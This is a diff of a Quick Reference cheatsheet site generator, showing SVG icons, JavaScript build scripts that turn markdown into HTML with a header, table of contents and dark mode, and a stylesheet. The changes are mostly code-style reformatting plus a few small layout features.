L876.198064,750.022782 L763.728134,750.022782 L763.728134,633.213664 C763.728134,630.877486 761.861421,627.60683 758.127976,627.60683 Z"/>
</svg>

Before

Width:  |  Height:  |  Size: 357 B

After

Width:  |  Height:  |  Size: 3.5 KiB

View File

@ -0,0 +1,3 @@
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" width="1em" height="1em" viewBox="0 0 150 150">
<path d="M149.996652,41.5504118 C149.996652,40.0404009 149.969865,38.5370862 149.929684,37.0237271 C149.889479,33.7232863 149.600703,30.4305622 149.065807,27.1735006 C148.507382,23.9127729 147.466929,20.7532587 145.978615,17.7987099 C142.956518,11.8649909 138.1316,7.04156844 132.19675,4.0211156 C129.242865,2.53082012 126.082821,1.49033249 122.821331,0.934130935 C119.563242,0.396319522 116.269046,0.106431705 112.967097,0.066962791 C111.456985,0.0267851164 109.953569,0.0100444187 108.440109,0 L41.5565427,0 C40.0464306,0 38.5430153,0.0267851164 37.0295549,0.066962791 C36.2092058,0.0903997679 35.3855083,0.117184884 34.5618108,0.157362559 C32.0854761,0.256798914 29.6181641,0.516263128 27.1753203,0.934130935 C24.7417426,1.35877149 22.3608012,2.04348485 20.0734408,2.97649606 C19.3010849,3.30014955 18.5410063,3.64835606 17.7932051,4.0211156 C15.5863952,5.15055914 13.519722,6.53499141 11.6355641,8.14602353 C11.0060717,8.68507399 10.4000179,9.2442133 9.81740256,9.8200933 C7.47219368,12.1591083 5.51152349,14.8541431 4.00799143,17.8054061 C2.51889323,20.7596305 1.47840127,23.9192644 0.920800036,27.1801969 C0.390726031,30.4353902 0.106428217,33.7258611 0.0703156391,37.0237271 C0.0267869101,38.5337381 0.0100450913,40.0370527 0,41.5504118 L0,108.456284 C0,109.966295 0.0267869101,111.46961 0.0703156391,112.979621 C0.110229315,116.280076 0.39900748,119.572822 0.934193491,122.829848 C1.49106583,126.090961 2.53159273,129.250701 4.02138488,132.204638 C7.04518753,138.133686 11.8652306,142.95575 17.7932051,145.982233 C20.747852,147.46998 23.9076759,148.509267 27.1686236,149.065869 C30.4267126,149.60368 33.7209094,149.893568 37.0228582,149.933037 C38.5296219,149.973215 40.0363856,149.989956 41.549846,150 L108.446806,150 C109.956918,150 111.460333,149.973215 112.973793,149.933037 C116.276759,149.891708 119.571929,149.601833 122.831376,149.065869 C126.092204,148.508782 129.251957,147.469519 132.206795,145.982233 C138.136507,142.956565 142.95707,138.132809 145.978615,132.20129 C147.468407,129.247353 148.508934,126.087613 149.065807,122.826499 C149.603754,119.569766 149.893662,116.276895 149.933033,112.976273 C149.973213,111.46961 149.989955,109.962947 150,108.452936 L150,46.9241758 C149.996652,45.1329211 149.996652,43.3416665 149.996652,41.5504118 Z M126.598286,122.240575 C119.901558,109.206268 107.4356,112.440571 101.046922,115.721747 C100.471003,116.056561 99.8816911,116.391375 99.2890308,116.726189 L99.1483995,116.809893 C85.9223626,123.840986 68.1659896,124.356599 50.312514,116.682663 C35.779112,110.381458 23.4900254,99.8344883 15.0575919,86.4255262 C19.1601349,89.4606647 23.5534617,92.08168 28.1731327,94.2501283 C47.0445109,103.089217 66.0096433,102.449722 79.4030984,94.2501283 C60.3174249,79.5685364 44.3792134,60.4339189 32.161034,44.9588179 C29.8334165,42.2434232 27.7304143,39.3433109 25.8728068,36.2871364 C40.5051565,49.6796946 63.6088665,66.4940515 71.9061119,71.1479654 C54.3037636,52.5691391 38.7941426,29.6511239 39.5207375,30.3877146 C67.2418412,58.3178947 92.819992,74.1110689 92.819992,74.1110689 C93.7843207,74.640075 94.4941738,75.0652887 95.0734408,75.4503248 C95.6092689,74.0835027 96.0741937,72.6899392 96.4663601,71.2751948 C100.892897,55.0936363 95.9105317,36.5951653 84.6432876,21.3209527 C110.355373,36.7491797 125.553596,66.075534 119.32564,90.8785518 C119.178312,91.45778 119.007545,92.0169193 118.843475,92.5827548 C131.741372,108.452936 128.232287,125.451441 126.588241,122.243923 L126.598286,122.240575 Z"/>
</svg>

After

Width:  |  Height:  |  Size: 3.5 KiB

4
scripts/assets/vue.svg Normal file
View File

@ -0,0 +1,4 @@
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" viewBox="0 0 24 24" height="1em" width="1em">
<path d="m12 12.765 5.592-9.437h-3.276L12 7.33v.002L9.688 3.328h-3.28z"/>
<path d="M18.461 3.332 12 14.235 5.539 3.332H1.992L12 20.672l10.008-17.34z"/>
</svg>

After

Width:  |  Height:  |  Size: 269 B

View File

@ -1,3 +1,3 @@
import { run } from './index.mjs';
run()
run();

View File

@ -1,6 +1,7 @@
import markdown from '@wcj/markdown-to-html';
import rehypeDocument from 'rehype-document';
import remarkGemoji from 'remark-gemoji';
import rehypeRaw from 'rehype-raw';
import rehypeAutolinkHeadings from 'rehype-autolink-headings';
import rehypeSlug from 'rehype-slug';
import { htmlTagAddAttri } from './nodes/htmlTagAddAttri.mjs';
@ -9,9 +10,10 @@ import { header } from './nodes/header.mjs';
import { rehypeUrls } from './utils/rehypeUrls.mjs';
import { tooltips } from './utils/tooltips.mjs';
import { homeCardIcons } from './utils/homeCardIcons.mjs';
import { getTocsTree } from './utils/getTocsTree.mjs';
import { getTocsTree, getTocsTitleNode, getTocsTitleNodeWarpper, addTocsInWarp } from './utils/getTocsTree.mjs';
import { rehypeTitle } from './utils/rehypeTitle.mjs';
import { anchorPoint } from './utils/anchorPoint.mjs';
import { rehypePreviewHTML } from './utils/rehypePreviewHTML.mjs';
const favicon = `data:image/svg+xml,%3Csvg%20viewBox%3D%220%200%2024%2024%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20height%3D%221em%22%20width%3D%221em%22%3E%20%3Cpath%20d%3D%22m21.66%2010.44-.98%204.18c-.84%203.61-2.5%205.07-5.62%204.77-.5-.04-1.04-.13-1.62-.27l-1.68-.4c-4.17-.99-5.46-3.05-4.48-7.23l.98-4.19c.2-.85.44-1.59.74-2.2%201.17-2.42%203.16-3.07%206.5-2.28l1.67.39c4.19.98%205.47%203.05%204.49%207.23Z%22%20fill%3D%22%23c9d1d9%22%2F%3E%20%3Cpath%20d%3D%22M15.06%2019.39c-.62.42-1.4.77-2.35%201.08l-1.58.52c-3.97%201.28-6.06.21-7.35-3.76L2.5%2013.28c-1.28-3.97-.22-6.07%203.75-7.35l1.58-.52c.41-.13.8-.24%201.17-.31-.3.61-.54%201.35-.74%202.2l-.98%204.19c-.98%204.18.31%206.24%204.48%207.23l1.68.4c.58.14%201.12.23%201.62.27Zm2.43-8.88c-.06%200-.12-.01-.19-.02l-4.85-1.23a.75.75%200%200%201%20.37-1.45l4.85%201.23a.748.748%200%200%201-.18%201.47Z%22%20fill%3D%22%23228e6c%22%20%2F%3E%20%3Cpath%20d%3D%22M14.56%2013.89c-.06%200-.12-.01-.19-.02l-2.91-.74a.75.75%200%200%201%20.37-1.45l2.91.74c.4.1.64.51.54.91-.08.34-.38.56-.72.56Z%22%20fill%3D%22%23228e6c%22%20%2F%3E%20%3C%2Fsvg%3E`;
@ -19,8 +21,11 @@ export function create(str = '', options = {}) {
let title = str.match(/[^===]+(?=[===])/g) || [];
let description = str.match(/\n==={1,}\n+([\s\S]*?)\n/g) || [];
title = title[0] || '';
description = (description[0] || '').replace(/^\n[=\n]+/, '').replace(/\[([\s\S]*?)?\]\(([\s\S]*?)?\)/g, '$1').replace(/\n/, '');
const subTitle = options.filename && !options.isHome ? `${options.filename} cheatsheet & `: ''
description = (description[0] || '')
.replace(/^\n[=\n]+/, '')
.replace(/\[([\s\S]*?)?\]\(([\s\S]*?)?\)/g, '$1')
.replace(/\n/, '');
const subTitle = options.filename && !options.isHome ? `${options.filename} cheatsheet & ` : '';
const mdOptions = {
showLineNumbers: false,
hastNode: false,
@ -28,33 +33,60 @@ export function create(str = '', options = {}) {
rehypePlugins: [
rehypeSlug,
rehypeAutolinkHeadings,
[rehypeDocument, {
title: `${title ? `${title} & ` : ''} ${subTitle} Quick Reference`,
css: [ ...options.css ],
link: [
{rel: 'icon', href: favicon, type: 'image/svg+xml'}
],
meta: [
{ description: `${description}为开发人员分享快速参考备忘单。` },
{ keywords: `Quick,Reference,cheatsheet,${!options.isHome && options.filename || ''}` }
]
}],
[
rehypeDocument,
{
title: `${title ? `${title} & ` : ''} ${subTitle} Quick Reference`,
css: [...options.css],
link: [{ rel: 'icon', href: favicon, type: 'image/svg+xml' }],
meta: [
{ description: `${description}为开发人员分享快速参考备忘单。` },
{ keywords: `Quick,Reference,cheatsheet,${(!options.isHome && options.filename) || ''}` },
],
},
],
],
filterPlugins: (type, plugins = []) => {
if (type === 'rehype') {
let rehypePrism = null;
const dt = plugins.filter((plug) => {
if (Array.isArray(plug) && /(rehypePrism)/.test(plug[0].name)) {
rehypePrism = plug;
}
return /(rehypeRaw|rehypePrism)/.test(plug.name) ? false : true;
});
// 放在 rehypeDocument 前面
dt.unshift(rehypeRaw);
if (rehypePrism) {
dt.unshift(rehypePrism);
}
dt.unshift(rehypePreviewHTML);
return dt;
}
return plugins;
},
rewrite: (node, index, parent) => {
rehypeTitle(node, options.filename);
homeCardIcons(node, parent, options.isHome);
tooltips(node, index, parent);
htmlTagAddAttri(node, options);
rehypeUrls(node);
if (node.type === 'element' && node.tagName === 'body') {
node.children = getTocsTree([ ...node.children ]);
node.children.unshift(header(options));
node.children.push(footer());
node.children.push(anchorPoint());
if (node.children) {
if (node.type === 'element' && node.tagName === 'body') {
const tocsData = getTocsTree([...node.children]);
if (!options.isHome) {
const tocsMenus = getTocsTitleNode([...tocsData]);
node.children = addTocsInWarp([...tocsData], getTocsTitleNodeWarpper(tocsMenus));
} else {
node.children = tocsData;
}
node.children.unshift(header(options));
node.children.push(footer());
node.children.push(anchorPoint());
}
}
}
}
},
};
return markdown(str, mdOptions);
}
}

View File

@ -11,15 +11,20 @@ export const CSS_OUTPUT_PATH = path.resolve(OUTOUT, 'style/style.css');
export async function createHTML(files = [], num = 0) {
const dataFile = files[num];
if (!dataFile) {
console.log(' \n done!\n')
console.log(' \n done!\n');
return;
}
++num;
const githubURL = `https://github.com/jaywcjlove/reference/blob/main/${path.relative(process.cwd(), dataFile.path).replace(path.sep, '/')}`;
const githubURL = `https://github.com/jaywcjlove/reference/blob/main/${path
.relative(process.cwd(), dataFile.path)
.replace(path.sep, '/')}`;
const mdstr = await fs.readFile(dataFile.path);
const htmlPath = path.relative(DOCS, dataFile.path);
const outputHTMLPath = path.resolve(OUTOUT, 'docs', htmlPath).replace(/README.md$/i, 'index.html').replace(/.md$/, '.html');
const outputHTMLPath = path
.resolve(OUTOUT, 'docs', htmlPath)
.replace(/README.md$/i, 'index.html')
.replace(/.md$/, '.html');
await fs.ensureDir(path.dirname(outputHTMLPath));
@ -28,18 +33,18 @@ export async function createHTML(files = [], num = 0) {
isHome: /README.md$/.test(path.relative(process.cwd(), dataFile.path)),
githubURL,
homePath: path.relative(path.dirname(outputHTMLPath), path.resolve(OUTOUT, 'index.html')),
css: [path.relative(path.dirname(outputHTMLPath), CSS_OUTPUT_PATH)]
css: [path.relative(path.dirname(outputHTMLPath), CSS_OUTPUT_PATH)],
});
await fs.writeFile(outputHTMLPath, html);
console.log(`♻️ \x1b[32;1m ${path.relative(OUTOUT, outputHTMLPath)} \x1b[0m`)
createHTML(files, num)
console.log(`♻️ \x1b[32;1m ${path.relative(OUTOUT, outputHTMLPath)} \x1b[0m`);
createHTML(files, num);
}
export async function run() {
await fs.ensureDir(OUTOUT);
await fs.emptyDir(OUTOUT);
await fs.ensureDir(path.dirname(CSS_OUTPUT_PATH));
await fs.copyFile(CSSPATH, CSS_OUTPUT_PATH)
await fs.copyFile(CSSPATH, CSS_OUTPUT_PATH);
const files = await recursiveReaddirFiles(process.cwd(), {
ignored: /\/(node_modules|\.git)/,
exclude: /(\.json|\.mjs|CONTRIBUTING\.md)$/,

View File

@ -3,25 +3,25 @@ import { github, editor } from './logo.mjs';
import { getSVGNode } from '../utils/getSVGNode.mjs';
import { darkMode } from '../utils/darkMode.mjs';
const ICONS_PATH = path.resolve(process.cwd(), 'scripts/assets/quickreference.svg')
const ICONS_PATH = path.resolve(process.cwd(), 'scripts/assets/quickreference.svg');
export function header({ homePath, githubURL = '' }) {
const svgNode = getSVGNode(ICONS_PATH)
const svgNode = getSVGNode(ICONS_PATH);
const data = [
{
menu: true,
href: githubURL,
target: '__blank',
label: '编辑',
children: [editor]
children: [editor],
},
...darkMode(),
{
menu: true,
href: 'https://github.com/jaywcjlove/reference',
target: '__blank',
children: [github]
}
]
children: [github],
},
];
return {
type: 'element',
tagName: 'nav',
@ -51,10 +51,8 @@ export function header({ homePath, githubURL = '' }) {
properties: {
class: ['title'],
},
children: [
{ type: 'text', value: 'Quick Reference' }
]
}
children: [{ type: 'text', value: 'Quick Reference' }],
},
],
},
{
@ -75,29 +73,28 @@ export function header({ homePath, githubURL = '' }) {
type: 'element',
tagName: 'span',
properties: {},
children: label ? [
{ type: 'text', value: label }
] : []
}
]
}
children: label ? [{ type: 'text', value: label }] : [],
},
],
};
if (label) {
childs.children = [...children, {
type: 'element',
tagName: 'span',
properties: {},
children: [
{ type: 'text', value: label }
]
}];
childs.children = [
...children,
{
type: 'element',
tagName: 'span',
properties: {},
children: [{ type: 'text', value: label }],
},
];
} else {
childs.children = children;
}
return childs
return childs;
}),
},
],
}
},
],
};
}
}

View File

@ -5,4 +5,4 @@ export function htmlTagAddAttri(node, { isHome }) {
if (node && node.tagName === 'body' && isHome) {
node.properties.class = ['home'];
}
}
}

View File

@ -3,38 +3,38 @@ export const logo = [
type: 'element',
tagName: 'svg',
properties: {
viewBox: "0 0 24 24",
fill: "none",
xmlns: "http://www.w3.org/2000/svg",
height: "1em",
width: "1em"
viewBox: '0 0 24 24',
fill: 'none',
xmlns: 'http://www.w3.org/2000/svg',
height: '1em',
width: '1em',
},
children: [
{
type: 'element',
tagName: 'path',
properties: {
opacity: ".5",
d: "m21.66 10.44-.98 4.18c-.84 3.61-2.5 5.07-5.62 4.77-.5-.04-1.04-.13-1.62-.27l-1.68-.4c-4.17-.99-5.46-3.05-4.48-7.23l.98-4.19c.2-.85.44-1.59.74-2.2 1.17-2.42 3.16-3.07 6.5-2.28l1.67.39c4.19.98 5.47 3.05 4.49 7.23Z",
fill: "white"
opacity: '.5',
d: 'm21.66 10.44-.98 4.18c-.84 3.61-2.5 5.07-5.62 4.77-.5-.04-1.04-.13-1.62-.27l-1.68-.4c-4.17-.99-5.46-3.05-4.48-7.23l.98-4.19c.2-.85.44-1.59.74-2.2 1.17-2.42 3.16-3.07 6.5-2.28l1.67.39c4.19.98 5.47 3.05 4.49 7.23Z',
fill: 'white',
},
},
{
type: 'element',
tagName: 'path',
properties: {
d: "M15.06 19.39c-.62.42-1.4.77-2.35 1.08l-1.58.52c-3.97 1.28-6.06.21-7.35-3.76L2.5 13.28c-1.28-3.97-.22-6.07 3.75-7.35l1.58-.52c.41-.13.8-.24 1.17-.31-.3.61-.54 1.35-.74 2.2l-.98 4.19c-.98 4.18.31 6.24 4.48 7.23l1.68.4c.58.14 1.12.23 1.62.27Zm2.43-8.88c-.06 0-.12-.01-.19-.02l-4.85-1.23a.75.75 0 0 1 .37-1.45l4.85 1.23a.748.748 0 0 1-.18 1.47Z" ,
fill: "#cbd5e1"
d: 'M15.06 19.39c-.62.42-1.4.77-2.35 1.08l-1.58.52c-3.97 1.28-6.06.21-7.35-3.76L2.5 13.28c-1.28-3.97-.22-6.07 3.75-7.35l1.58-.52c.41-.13.8-.24 1.17-.31-.3.61-.54 1.35-.74 2.2l-.98 4.19c-.98 4.18.31 6.24 4.48 7.23l1.68.4c.58.14 1.12.23 1.62.27Zm2.43-8.88c-.06 0-.12-.01-.19-.02l-4.85-1.23a.75.75 0 0 1 .37-1.45l4.85 1.23a.748.748 0 0 1-.18 1.47Z',
fill: '#cbd5e1',
},
},
{
type: 'element',
tagName: 'path',
properties: {
d: "M14.56 13.89c-.06 0-.12-.01-.19-.02l-2.91-.74a.75.75 0 0 1 .37-1.45l2.91.74c.4.1.64.51.54.91-.08.34-.38.56-.72.56Z",
fill: "#292D32"
d: 'M14.56 13.89c-.06 0-.12-.01-.19-.02l-2.91-.74a.75.75 0 0 1 .37-1.45l2.91.74c.4.1.64.51.54.91-.08.34-.38.56-.72.56Z',
fill: '#292D32',
},
}
},
],
},
{
@ -43,48 +43,45 @@ export const logo = [
properties: {
class: ['title'],
},
children: [
{ type: 'text', value: 'Quick Reference' }
]
}
children: [{ type: 'text', value: 'Quick Reference' }],
},
];
export const github = {
type: 'element',
tagName: 'svg',
properties: {
viewBox: "0 0 16 16",
fill: "currentColor",
height: "1em",
width: "1em"
viewBox: '0 0 16 16',
fill: 'currentColor',
height: '1em',
width: '1em',
},
children: [
{
type: 'element',
tagName: 'path',
properties: {
d: "M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.012 8.012 0 0 0 16 8c0-4.42-3.58-8-8-8z",
d: 'M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.012 8.012 0 0 0 16 8c0-4.42-3.58-8-8-8z',
},
},
],
}
};
export const editor = {
type: 'element',
tagName: 'svg',
properties: {
viewBox: "0 0 36 36",
fill: "currentColor",
height: "1em",
width: "1em"
viewBox: '0 0 36 36',
fill: 'currentColor',
height: '1em',
width: '1em',
},
children: [
{
type: 'element',
tagName: 'path',
properties: {
d: "m33 6.4-3.7-3.7a1.71 1.71 0 0 0-2.36 0L23.65 6H6a2 2 0 0 0-2 2v22a2 2 0 0 0 2 2h22a2 2 0 0 0 2-2V11.76l3-3a1.67 1.67 0 0 0 0-2.36ZM18.83 20.13l-4.19.93 1-4.15 9.55-9.57 3.23 3.23ZM29.5 9.43 26.27 6.2l1.85-1.85 3.23 3.23Z",
d: 'm33 6.4-3.7-3.7a1.71 1.71 0 0 0-2.36 0L23.65 6H6a2 2 0 0 0-2 2v22a2 2 0 0 0 2 2h22a2 2 0 0 0 2-2V11.76l3-3a1.67 1.67 0 0 0 0-2.36ZM18.83 20.13l-4.19.93 1-4.15 9.55-9.57 3.23 3.23ZM29.5 9.43 26.27 6.2l1.85-1.85 3.23 3.23Z',
},
},
{
@ -92,8 +89,8 @@ export const editor = {
tagName: 'path',
properties: {
fill: 'none',
d: "M0 0h36v36H0z",
d: 'M0 0h36v36H0z',
},
},
],
}
};

View File

@ -6,7 +6,8 @@ body {
tab-size: 4;
margin: 0;
line-height: inherit;
font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Helvetica, Arial, sans-serif, 'Apple Color Emoji',
'Segoe UI Emoji';
}
[data-color-mode*='dark'] body .dark {
@ -22,7 +23,8 @@ body {
display: none;
}
[data-color-mode*='light'], [data-color-mode*='light'] body {
[data-color-mode*='light'],
[data-color-mode*='light'] body {
--color-prettylights-syntax-comment: #b1bac3;
--color-prettylights-syntax-constant: #0550ae;
--color-prettylights-syntax-entity: #8250df;
@ -42,7 +44,7 @@ body {
--color-prettylights-syntax-markup-italic: #24292f;
--color-prettylights-syntax-markup-bold: #24292f;
--color-prettylights-syntax-markup-deleted-text: #82071e;
--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;
--color-prettylights-syntax-markup-deleted-bg: #ffebe9;
--color-prettylights-syntax-markup-inserted-text: #116329;
--color-prettylights-syntax-markup-inserted-bg: #dafbe1;
--color-prettylights-syntax-markup-changed-text: #953800;
@ -61,14 +63,16 @@ body {
--color-bg-subtle: #f8f9fa;
--color-border-default: #d0d7de;
--color-border-muted: #ececec94;
--color-neutral-muted: rgba(175,184,193,0.2);
--color-neutral-muted: rgba(175, 184, 193, 0.2);
--color-accent-fg: #0969da;
--color-accent-emphasis: #0969da;
--color-attention-subtle: #fff8c5;
--color-danger-fg: #cf222e;
--box-shadow: 109 109 109;
}
[data-color-mode*='dark'], [data-color-mode*='dark'] body {
[data-color-mode*='dark'],
[data-color-mode*='dark'] body {
--color-prettylights-syntax-comment: #8b949e;
--color-prettylights-syntax-constant: #79c0ff;
--color-prettylights-syntax-entity: #d2a8ff;
@ -110,8 +114,9 @@ body {
--color-neutral-muted: rgb(51 65 85/0.3);
--color-accent-fg: #58a6ff;
--color-accent-emphasis: #1f6feb;
--color-attention-subtle: rgba(187,128,9,0.15);
--color-attention-subtle: rgba(187, 128, 9, 0.15);
--color-danger-fg: #f85149;
--box-shadow: 0 0 0;
}
body {
@ -119,18 +124,39 @@ body {
background-color: var(--color-canvas-default);
}
*, ::before, ::after {
*,
::before,
::after {
box-sizing: border-box;
}
blockquote, dl, dd, h1, h2, h3, h4, h5, h6, hr, figure, p, pre {
blockquote,
dl,
dd,
h1,
h2,
h3,
h4,
h5,
h6,
hr,
figure,
p,
pre {
margin: 0;
}
h1,h2,h3,h4,h5,h6 {
h1,
h2,
h3,
h4,
h5,
h6 {
font-size: inherit;
font-weight: inherit
font-weight: inherit;
}
ol, ul, menu {
ol,
ul,
menu {
list-style: none;
margin: 0;
padding: 0;
@ -143,12 +169,16 @@ pur {
color: var(--color-prettylights-syntax-entity);
}
.wrap-body > p > code, .wrap-body > ul li > code, .wrap-body tbody td code {
:is(.h3wrap-body, .wrap-body) p > code,
:is(.h3wrap-body, .wrap-body) ul li > code,
:is(.h3wrap-body, .wrap-body) tbody td code {
--text-opacity: 1;
color: rgb(5 150 105/var(--text-opacity));
color: rgb(5 150 105 / var(--text-opacity));
}
.wrap-body em, .wrap-body sup, .wrap-body sub {
:is(.h3wrap-body, .wrap-body) em,
:is(.h3wrap-body, .wrap-body) sup,
:is(.h3wrap-body, .wrap-body) sub {
color: var(--color-fg-subtle);
}
@ -156,13 +186,16 @@ table {
width: 100%;
text-indent: 0;
border-color: inherit;
border-collapse: collapse
border-collapse: collapse;
}
table td:first-child {
white-space: nowrap;
}
table.shortcuts td:not(:last-child)>code, table.shortcuts td:not(:last-child)>del>code, ul.shortcuts li > code, kbd {
table.shortcuts td:not(:last-child) > code,
table.shortcuts td:not(:last-child) > del > code,
ul.shortcuts li > code,
kbd {
background-color: var(--color-neutral-muted);
color: var(--color-fg-subtle);
box-shadow: 0 0 #0000, 0 0 #0000, 0 0 #0000;
@ -171,21 +204,23 @@ table.shortcuts td:not(:last-child)>code, table.shortcuts td:not(:last-child)>de
border: 1px solid var(--color-border-muted);
border-color: var(--color-border-default);
line-height: 1.5;
font-family: Arial,Helvetica,sans-serif;
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
display: inline-block;
border-radius: 3px;
}
table tr+tr {
table tr + tr {
border-top: solid 1px #ececec94;
border-color: var(--color-border-muted);
}
table td, table th {
table td,
table th {
padding: 9px 14px;
text-align: left;
}
table tr th:last-child, table tr td:last-child {
table tr th:last-child,
table tr td:last-child {
text-align: right;
}
@ -197,13 +232,15 @@ table thead th {
table thead {
display: none;
border-bottom: solid 1px rgba(85,102,119,0.3);
border-bottom: solid 1px rgba(85, 102, 119, 0.3);
}
table td:first-child>code {
table td:first-child > code {
--text-opacity: 1;
color: rgb(5 150 105/var(--text-opacity));
color: rgb(5 150 105 / var(--text-opacity));
}
table td > del, table td:first-child > del > code, .wrap-body p > del > code {
table td > del,
table td:first-child > del > code,
.h3wrap-body p > del > code {
color: var(--color-danger-fg);
}
@ -211,16 +248,19 @@ table.show-header thead {
display: table-header-group;
}
table.style-list td + td, table.style-list-arrow td + td {
table.style-list td + td,
table.style-list-arrow td + td {
padding-top: 0 !important;
}
table.style-list td, table.style-list-arrow td {
table.style-list td,
table.style-list-arrow td {
display: block;
text-align: left !important;
}
table.style-list-arrow td:first-child::before, ul.style-arrow li:before {
table.style-list-arrow td:first-child::before,
ul.style-arrow li:before {
content: '';
display: inline-block;
width: 0px;
@ -231,8 +271,9 @@ table.style-list-arrow td:first-child::before, ul.style-arrow li:before {
border-bottom: 5px solid transparent;
}
tt, code {
font-family: ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;
tt,
code {
font-family: ui-monospace, SFMono-Regular, SF Mono, Menlo, Consolas, Liberation Mono, monospace;
font-size: 1em;
}
pre:only-child {
@ -242,7 +283,7 @@ pre:only-child {
pre {
margin-top: 0;
margin-bottom: 0;
font-family: ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;
font-family: ui-monospace, SFMono-Regular, SF Mono, Menlo, Consolas, Liberation Mono, monospace;
word-wrap: normal;
line-height: 1.5;
overflow: hidden;
@ -252,8 +293,9 @@ pre {
.max-container a {
color: rgb(2 132 199/1);
}
.max-container a, .max-container a:visited {
background-image: linear-gradient(transparent,transparent 6px,#34495e 6px,#34495e);
.max-container a,
.max-container a:visited {
background-image: linear-gradient(transparent, transparent 6px, #34495e 6px, #34495e);
background-position: bottom;
background-size: 100% 6px;
background-repeat: repeat-x;
@ -263,7 +305,8 @@ pre {
text-decoration-color: transparent;
}
.max-container a:hover, .max-container a:visited:hover{
.max-container a:hover,
.max-container a:visited:hover {
text-decoration-color: #10b981;
}
@ -274,7 +317,8 @@ pre {
padding: 0.75rem;
}
body.home .h1wrap-body, body.home .h1wrap .wrap-body {
body.home .h1wrap-body,
body.home .h1wrap .wrap-body {
max-width: 940px;
margin-left: auto;
margin-right: auto;
@ -292,7 +336,7 @@ body.home .h2wrap > h2::after {
width: 110%;
margin-top: 0.5rem;
--bg-opacity: 1;
background-color: rgb(30 41 59/var(--bg-opacity));
background-color: rgb(30 41 59 / var(--bg-opacity));
}
body.home .h1wrap .wrap-body p + p {
margin-top: 1.6rem;
@ -309,8 +353,9 @@ body:not(.home) .h2wrap > .wrap-body > ul {
body.home .h1wrap p {
text-align: left;
}
body.home .max-container a.home-button:hover, body.home .max-container a.home-button:visited:hover {
transition: all .3s;
body.home .max-container a.home-button:hover,
body.home .max-container a.home-button:visited:hover {
transition: all 0.3s;
text-decoration-color: #fff;
color: #fff;
}
@ -318,16 +363,31 @@ body.home .max-container a.home-button:hover, body.home .max-container a.home-bu
.home-card {
display: grid;
gap: 2rem;
grid-template-columns: repeat(2,minmax(0,1fr));
grid-template-columns: repeat(2, minmax(0, 1fr));
}
.home-card a.contributing {
position: relative;
}
.home-card a.contributing::after {
color: var(--color-fg-muted);
content: '👆待完善需要您的参与';
display: block;
position: absolute;
font-size: 10px;
left: 5px;
bottom: -15px;
}
.home-card a.contributing:hover:after {
color: var(--color-fg-muted);
}
[data-color-mode*='light'] body .home-card a {
--text-opacity: 0.75;
color: rgb(15 19 24/var(--text-opacity));
color: rgb(15 19 24 / var(--text-opacity));
}
[data-color-mode*='light'] body .home-card a:hover {
--text-opacity: 0.85;
color: rgb(241 245 249/var(--text-opacity)) !important;
color: rgb(241 245 249 / var(--text-opacity)) !important;
}
.home-card a {
display: flex;
@ -337,13 +397,13 @@ body.home .max-container a.home-button:hover, body.home .max-container a.home-bu
border-radius: 0.5rem;
padding: 0rem 1rem;
height: 4rem;
box-shadow: 0 0 #0000,0 0 #0000,0 1px 2px 0 rgba(0,0,0,0.05);
box-shadow: 0 0 #0000, 0 0 #0000, 0 1px 2px 0 rgba(0, 0, 0, 0.05);
color: var(--color-fg-default);
--text-opacity: 0.75;
color: rgb(241 245 249/var(--text-opacity));
color: rgb(241 245 249 / var(--text-opacity));
--bg-opacity: 0.5;
background-color: rgb(62 69 72/var(--bg-opacity));
transition: all .3s;
background-color: rgb(62 69 72 / var(--bg-opacity));
transition: all 0.3s;
text-decoration: none;
}
.home-card a:hover {
@ -372,23 +432,26 @@ a.home-button {
margin-left: 1rem;
margin-right: 1rem;
--bg-opacity: 1;
background-color: rgb(10 147 102/var(--bg-opacity));
background-color: rgb(10 147 102 / var(--bg-opacity));
--text-opacity: 1;
color: rgb(203 213 225/var(--text-opacity));
color: rgb(203 213 225 / var(--text-opacity));
}
a.home-button:hover {
--bg-opacity: 0.5;
}
a.text-grey {
--bg-opacity: 1;
background-color: rgb(56 76 109/var(--bg-opacity));
background-color: rgb(56 76 109 / var(--bg-opacity));
}
.header-nav .max-container {
padding: 1.8rem 1.8rem 0;
}
.header-nav .max-container, .header-nav .logo, .header-nav .menu, .header-nav .menu a {
.header-nav .max-container,
